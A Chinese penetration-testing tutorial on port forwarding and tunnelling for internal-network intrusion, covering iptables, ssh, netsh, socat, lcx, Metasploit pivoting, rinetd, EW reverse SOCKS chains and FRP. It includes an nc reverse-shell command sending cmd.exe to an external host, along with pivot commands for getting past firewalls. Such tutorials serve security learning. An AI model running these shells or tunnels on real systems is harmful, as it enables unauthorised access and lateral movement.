【滲透測試】內網滲透中的端口轉發——工具很全

語言: CN / TW / HK

在這裏插入圖片描述

一、內網滲透中的端口轉發

需要知道,在滲透的整個流程中,根據web應用或者開放的端口進行滲透,獲取webshell只是滲透這門藝術的一小部分,在真實的錯綜複雜的企業環境中進行內網滲透,其實水很深,涉及內網穿透,端口轉發,域滲透,提權等一系列的難題。所以這篇文章對內網滲透學習進行一些記錄。在這過程中參考了很多前輩們的寶貴經驗,我把這些鏈接進行了收集,放在參考文獻部分。

二、轉發,映射,代理

這幾個概念其實是比較難區分的,特別是和後面的內網穿透混在一起,在宏觀上説,他們差別不大。但是究其本質還是存在不小的差別的。現在就先對這幾個概念説一下我個人的理解:

轉發:轉發是滲透中一種手段,是將一個網絡端口從一個網絡節點轉發到另一個節點的行為。結果是使一個外網用户經過一個NAT路由器到達在內網IP地址某個端口。有時候也被稱為隧道。

映射:映射也是滲透中的一種手段,端口映射就是將外網主機的IP地址的一個端口映射到內網中一台機器,提供相應的服務。其實很多時候轉發和映射

代理:代理是一種結果,以端口轉發和映射為技術基礎。代理在很多場合是用在連接互聯網的web服務上面,起到突破ip封鎖,隱匿身份等作用。其原理是動態的端口轉發。只需要本機和代理間建立一個隧道,然後代理就可以根據本機發起的請求去動態的獲取出鏈的地址與端口。

內網穿透:內網穿透是目的,它使用的手段有包括端口轉發和映射,或者直接使用代理這一結果。很多時候我們指的內網穿透場景是指攻擊機與靶機處於處於不同的內網中,一些回彈shell之類的手段直接實現,因為IP地址無法相互建立連接。這個時候就需要使用一些內網穿透常見的工具。這些工具也是使用端口轉發和映射或類似的方法來突破限制。 在這裏插入圖片描述

三、系統內置的轉發工具

iptables NAT功能

由於linux主機出於安全考慮,系統參數/proc/sys/net/ipv4/ip_forward默認為0,所以是禁止NAT功能的,我們可以通過以下兩種你方式修改系統運行時的參數。

臨時方案

1echo 1 >/proc/sys/net/ipv4/ip_forward

長期方案

運行vi /etc/sysctl.conf

1# 找到下面的值並將0改成1
2
3net.ipv4.ip_forward = 1

運行sysctl –p,使改動立即生效 。

下面是一個轉發的示例

# 1.1.1.1是公網ip,192.168.2.2內網ip
2iptables -t nat -A PREROUTING  -p tcp -d 1.1.1.1 --dport 80 -j DNAT --to-destination 192.168.2.2:8080
3
4iptables -t nat -A POSTROUTING -p tcp -s 192.168.2.2 --sport 8080 -j SNAT --to-source 1.1.1.1
5
6service iptables save

這樣就會使得訪問1.1.1.1:80 映射到了192.168.2.2:8080端口。注意到這裏

nc

# 公網主機
2nc -lvp 4444
3
4# 內網機器
5nc -t -e cmd.exe 公網主機ip 4444

SSH

 1#本地端口轉發:
 2ssh -CfNg -L port1:127.0.0.1:port2 user@host 
 3參數: -L 本地網卡地址:本地端口:目標地址:目標端口
 4
 5#遠程端口轉發: 
 6ssh -CfNg -R port2:127.0.0.1:port1 user@hsst
 7參數: -R 遠程網卡地址:遠程端口:目標地址:目標端口
 8
 9#動態端口轉發
10ssh -D localhost:2000 [email protected]
11參數:-D 本地網卡地址:本地端口

netsh

netsh是windows下提供網絡管理的命令行工具,它是一個交互式的shell,涉及到上下文的概念。我們在交互式下面進入相應的上下文,進行參數的設置。也可以直接下面這樣非交互式的進行端口轉發。

1netsh  interface ipv6 install
2#轉發
3netsh interface portproxy add v4tov4 listenaddress=10.10.18.1 listenport=4455 connectaddress=10.10.12.1  connectport=8080
4
5#刪除轉發
6netsh interface portproxy delete v4tov4 listenaddress={B的IP}  listenport={B的端口}

在這裏插入圖片描述

四、非內置的端口轉發工具

socat

socat這個端口轉發我們其實更常用在ssrf構造payload的時候本地抓包,因為socat有記錄轉發流的功能。將socat作為中介捕獲我們構造的payload包,然後進行進一步的操作,如gopher協議的構造。

1#安裝
 2yum install -y socat
 3apt install -y socat 
 4
 5#TCP 
 6nohup socat TCP4-LISTEN:10000,reuseaddr,fork TCP4:1.1.1.1:10000
 7
 8TCP4-LISTEN:10000  監聽 ipv4 的 10000TCP 端口。 10000 改成你自己需要轉發的端口
 9fork TCP4:1.1.1.1:10000  轉發到 1.1.1.1 的 10000 端口,根據需求修改自行修改 ip 和端口
10nohup 後台運行。可以把這個命令寫到   /etc/rc.local 裏面開機啟動啟動。
11
12#UDP
13nohup socat -T 600 UDP4-LISTEN:10000,reuseaddr,fork UDP4:1.1.1.1:10000

lcx.exe

 1lcx-<listen|tran|slave> <option> [-log logfile]
 2[option:]
 3
 4 -listen <監聽端口> <轉發端口> 
 5
 6 -tran<監聽端口> <目標地址> <目標端口>
 7
 8 -slave <目標主機> <目標端口> <本地主機><本機端口>
 9
10
11內網機器上執行:
12lcx.exe –slave 公網IP +端口 內網IP +端口
13例: 
14lcx.exe –slave 192.168.43.142 51 192.168.43.137 3389
15公網上執行:
16Lcx.exe –listen 監聽51端口,轉發到公網機器的3389端口
17例: 
18Lcx.exe –listen 51 3389

Metasploit socks4a

一組在實際滲透過程中的三件套:路由表+socks4a+proxychains。這樣一來可以使用攻擊機上的滲透工具,利用meterpreter session作為跳板,對內網進行滲透。下面的是流程。

11. 在反彈的shell中添加路由,如
2run autoroute -s 192.168.122.0/24
32. 使用socks4a模塊並設置端口
4use auxiliary/server/socks4a
53. 配置proxychains

Meterpreter portfwd

在MSF滲透框架裏面內置了端口轉發的命令,在回彈了shell的條件下可以直接使用,下面式相關參數解析。

1meterpreter > portfwd -h
 2Usage: portfwd [-h] [add | delete | list | flush] [args]
 3
 4
 5OPTIONS:
 6
 7    -L <opt>  轉發: 本地監聽地址  反向: 本地主機連接到某個地址
 8    -R        表示正向反向端口
 9    -h        幫助信息
10    -i <opt>  端口轉發條目的索引與交互(請參閲“列表”命令)
11    -l <opt>  轉發:本地端口收聽  反向:本地端口連接
12    -p <opt>  轉發:遠程端口連接  反向:遠程端口監聽
13    -r <opt>  轉發:連接到遠程主機
14
15
16例子:
17portfwd -L 127.0.0.1 -l 1212 -r 10.10.12.1 -p 3389  

Rinetd

 1# 安裝,注意到centos沒有其默認的軟件源,需要手動導入;ubuntu的比較方便
 2#centos 32
 3$ vim /etc/yum.repos.d/nux-misc.repo
 4[nux-misc]
 5name=Nux Misc
 6baseurl=http://li.nux.ro/download/nux/misc/el6/i386/
 7enabled=0
 8gpgcheck=1
 9gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro
10
11#centos 64
12$ vim  /etc/yum.repos.d/nux-misc.repo:
13
14[nux-misc]
15name=Nux Misc
16baseurl=http://li.nux.ro/download/nux/misc/el6/x86_64/
17enabled=0
18gpgcheck=1
19gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro
20
21$ yum --enablerepo=nux-misc install rinetd
22
23# ubuntu
24$ apt-get install rinetd
25
26#配置文件在/etc/rinetd.conf,配置參數格式
27[bindaddress] [bindport] [connectaddress] [connectport]
28綁定的地址    綁定的端口  連接的地址      連接的端口
29
30[Source Address] [Source Port] [Destination Address] [Destination Port]
31源地址            源端口         目的地址               目的端口
32
33#舉例
34$ vim /etc/rinetd.conf
35
360.0.0.0 8080 172.19.94.3 8080
370.0.0.0 2222 192.168.0.103 3389
381.2.3.4 80 192.168.0.10 80
39allow *.*.*.*
40logfile /var/log/rinetd.log
41
42#解釋
430.0.0.0表示本機綁定所有可用地址
44將所有發往本機8080端口的請求轉發到172.19.94.3的8080端口
45將所有發往本機2222端口的請求轉發到192.168.0.103的3389端口
46將所有發往1.2.3.4的80端口請求轉發到192.168.0.10的80端口
47allow設置允許訪問的ip地址信息,*.*.*.*表示所有IP地址
48logfil設置打印的log的位置
49
50# 運行
51#腳本啟動
52$ /etc/init.d/rinetd start
53
54#二進制啟動
55$ /usr/sbin/rinetd -c /etc/rinetd.conf
56
57#關閉(使用腳本,或則和pkill)
58$ /etc/init.d/rinetd stop

Tunna 與 reGeorg

這兩個工具的使用都是比較簡單,就不囉嗦了,在獲取webshell後,我們可以通過http進行端口轉發。直接給出兩個項目地址,推薦使用reGeorg,Tunna不穩定。Tunna工具地址

Localtunnel與Gnork

這兩個工具都可以將內網的端口映射到公網,然後訪問公網的ip就類似於訪問內網的端口。這兩個工具可以提供自建服務或者使用它提供的服務器進行內網穿透。其實這類工具在實際滲透中不是很常用。更直接的場景是自己攻擊機在內網,在進行相關回連操作的時候,需要目標機器可達,畢竟它們只是一級轉發,而且操作麻煩。直接給出項目地址

https://github.com/localtunnel/localtunnel

https://ngrok.com/

EW

工具的地址:http://rootkiter.com/EarthWorm/

這是個國產的打洞神器,因為其方便的多級轉發,支持反向代理等特性,在內網滲透領域可是響噹噹的。這裏重點對這個工具做下記錄,真的太強大了

該工具共有 6 種命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。下面針對官方的例子進行以下解釋:

正向代理

1$ ./ew -s ssocksd -l 1080

開啟機器的1080端口做正向代理,我們可以通過鏈接該機器的1080端口進行端口代理轉發。一般的場景為:kali 通過proxychain 鏈接開啟了正向代理的公網ip。

反響代理

1#公網ip主機A,ip假設為1.1.1.1
2./ew -s rcsocks -l 1080 -e 8888 
3
4# 目標機B
5./ew -s rssocks -d 1.1.1.1 -e 8888

反向代理是目標機向我們發起鏈接請求,與正向代理是不一樣的。當建立了鏈接後,它的代理流如下Me<--->A<--->B。即我只要連接A的1080端口就可以獲得一條反向代理的隧道,與B建立連接。這種場景可以用來繞過入口策略嚴格但是出口策略鬆散的防火牆。

多級轉發

在前面的兩個場景中,我們看到了rcsocks,`ssocksd,rssocks這三個命令的使用。在多級轉發中我們會見到另外三個命令的作用。他們就類似於中間件,負責隧道導流與串接。

1#命令使用舉例:
2# lcx_listen 用在將本機的端口進行轉發
3$ ./ew -s lcx_listen -l  1080   -e 8888
4# lcx_tran 將本機端口與目的ip地址的端口進行轉發
5$ ./ew -s lcx_tran   -l  1080   -f 2.2.2.3 -g 9999
6# lcx_slave 作為奴隸,將本機直接可達的兩個主機實體上的端口進行轉發
7$ ./ew -s lcx_slave  -d 1.1.1.1 -e 8888    -f 2.2.2.3  -g  9999

下面我們來看個實際滲透三級級聯例子:

 1# 我們自己的VPS執行
 2$ ./ew -s rcsocks -l 1080 -e 8888
 3
 4# 跳板機A執行
 5$ ./ew -s lcx_slave -d ip_A -e 8888 -f ip_B -g 9999
 6
 7# 跳板機B執行
 8$ ./ew -s lcx_listen -l 9999 -e 7777
 9
10# 跳板機C執行
11$ ./ew -s rssocks -d ip_B -e 7777

數據流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks。

我們來解讀以下這個三級級聯,首先這是個反向代理的例子,反向代理的目的端口是C的7777,當隧道建立完成,我們只需要連接到VPS的1080端口,就會自動幫我們轉發到7777。我們來看下中間過程如何:首先第一個命令VPS在8888接收反向代理,並且在1080等候我們的連接。第二條命令將跳板機A的8888端口導向9999;第三行命令將跳板機B的9999端口導向7777;最後第四條命令在跳板機上進行反向代理髮起連接到跳板機B的7777端口。

FRP

frp也提供了完善的內網穿透的功能,功能上其實和gnork這些差不多,但是相比起來,FRP的配置更為靈活。推薦層度:FRP>Localtunnel>gnork 在這裏插入圖片描述

五、過牆隧道

前面介紹的端口轉發,有使用http協議,tcp協議,sockts代理的,但是這些協議轉發流量太過於礙眼,容易被嚴謹的防火牆規則過濾,導致shell從內網出不來,那麼在這種情況下,我們就需要強有力的過牆隧道。下面是筆者在網上搜羅的一些走udp的dns隧道和走icmp的隧道,可以説這兩種打洞手段很別出心裁,筆者看得是歎為觀止。這裏先把相關的工具鏈接和看過的資料記錄下來。寫不動了……,避免篇幅過長(其實是有點懶),下次補上。 ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓

【參考資料&工具分享】

在這裏插入圖片描述